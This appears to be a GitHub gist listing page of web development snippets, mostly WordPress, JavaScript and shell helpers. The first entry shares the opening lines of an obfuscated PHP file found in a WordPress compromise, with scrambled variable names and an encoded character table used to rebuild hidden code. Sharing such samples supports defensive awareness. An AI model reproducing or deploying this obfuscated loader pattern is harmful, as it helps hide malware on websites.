Skip to content

Instantly share code, notes, and snippets.

@k1sul1
k1sul1 / index.php
Created August 26, 2016 11:06 — forked from anttiviljami/index.php
New WordPress hack in the wild
<?php
//header('Content-Type:text/html; charset=utf-8');
$O0_0O0_O_O = 'J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW';
$OOO0_0_O_0 = 'mazama2648';
$OO00O_O0__ = 1639;
$O0O00__OO_ = 'B/A/C_rimu-molasses/laudanidine/D-E/';
$O0OOO_00__ = 233;
$O0O0_0O__O = 1;
$O__00_OO0O = array("coenenchyma", "disinfestation", "causable", "intercept", "antirattler", "inveracity", "forgery", "errantly", "beaverboard", "hemoglobinocholia", "hibito", "affination", "gourde", "fustic", "acroceraunian", "battleship", "areotectonics", "inflexibility", "hymnodical", "monticoline", "canny", "exilement", "leasehold", "metastasis", "absorbency");;
$O0_00OO__O = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
@k1sul1
k1sul1 / getRegion.js
Last active September 9, 2016 10:13
ES6 function to asynchronously get user region by IP.
import Cookies from 'cookies-js';
export function getRegion() {
return new Promise((resolve, reject) => {
function deg2rad(deg) {
return deg * (Math.PI / 180);
}
function getDistanceFromLatLonInKm(lat1, lon1, lat2, lon2) {
const R = 6371; // Radius of the earth in km
@k1sul1
k1sul1 / .htaccess
Created September 19, 2016 09:46
Serve Vue.js (vue-loader) project inside a WordPress installation as a subdirectory
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^static/(.*)$ /subfolder/static/$1 [R=301,NC,L] # magic line, rewrite requests to domain.com/static to domain.com/subfolder/static. Quite useful on locked webhosts.
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
@k1sul1
k1sul1 / modals.js
Last active September 23, 2016 11:17
VanillaJS css animated modals. http://jsbin.com/difozaxobo/
import {
runOnce
} from './runOnce.js';
export function openModal(element = undefined) {
const modalWrapper = element instanceof HTMLElement ? element : document.querySelector('.modal');
const actualModal = modalWrapper.children[0];
if (modalWrapper.classList.contains('transitionInProgress')) {
return false;
@k1sul1
k1sul1 / functions.php.example
Last active October 6, 2016 13:14
Sample functions.php for getting started when creating a WordPress theme from scratch.
add_action('after_setup_theme', function() {
add_theme_support('title-tag');
add_theme_support('post-thumbnails');
add_theme_support('html5', array(
'search-form',
// 'comment-form', // disabled because WP adds a "novalidate" attr on the form that is unfilterable.
'comment-list',
'gallery',
'caption',
));
@k1sul1
k1sul1 / wp-cli-vagrant.bash
Created October 17, 2016 11:08
Vagrant enabled wp-cli in bash
# Add to your .bashrc or whatever.
# Use wp-cli like you normally would: wp plugin activate duplicate-post
function wp {
if [ -f Vagrantfile ]; then
echo "Running wp-cli in Vagrant..."
vagrant ssh --command "wp $(echo $@)"
fi
}
@k1sul1
k1sul1 / inherit-parent-page-template.php
Last active October 23, 2017 07:38
Filter to allow subpages to inherit parent page template
<?php
add_filter('page_template', function(){
$page = get_queried_object();
$parent_id = $page->post_parent;
$templates = array();
$template = get_post_meta($page->ID, "_wp_page_template", true);
if (!empty($template) && $template !== "default") {
// If the page has a page template set, use that and return immediately.
return locate_template($template);
@k1sul1
k1sul1 / compile-stylus-in-admin.php
Last active October 31, 2016 13:05
Compile Stylus at runtime
<?php
add_action('admin_footer', function() {
$screen = get_current_screen();
if ($screen->base === 'post') {
?>
<script src="http://stylus-lang.com/try/stylus.min.js"></script>
<!-- Please DO NOT hotlink to the file in your code.
Instead, save it locally and refer to the local file instead. -->
@k1sul1
k1sul1 / recursive-link-box.php
Last active November 17, 2016 17:44
Recursive PHP function that eats through links and creates a box with them.
@k1sul1
k1sul1 / after_install.js
Created November 30, 2016 15:27
Script to run after npm install, sets variables to .env file, and the variables can be later utilized.
const fs = require('fs');
const nl = require('os').EOL;
const LineByLineReader = require('line-by-line');
const cp = require('child_process');
afterInstall('.env', 'utf8');
function afterInstall(filename, encoding) {
const envVars = {
'GIT_COMMIT_HASH': {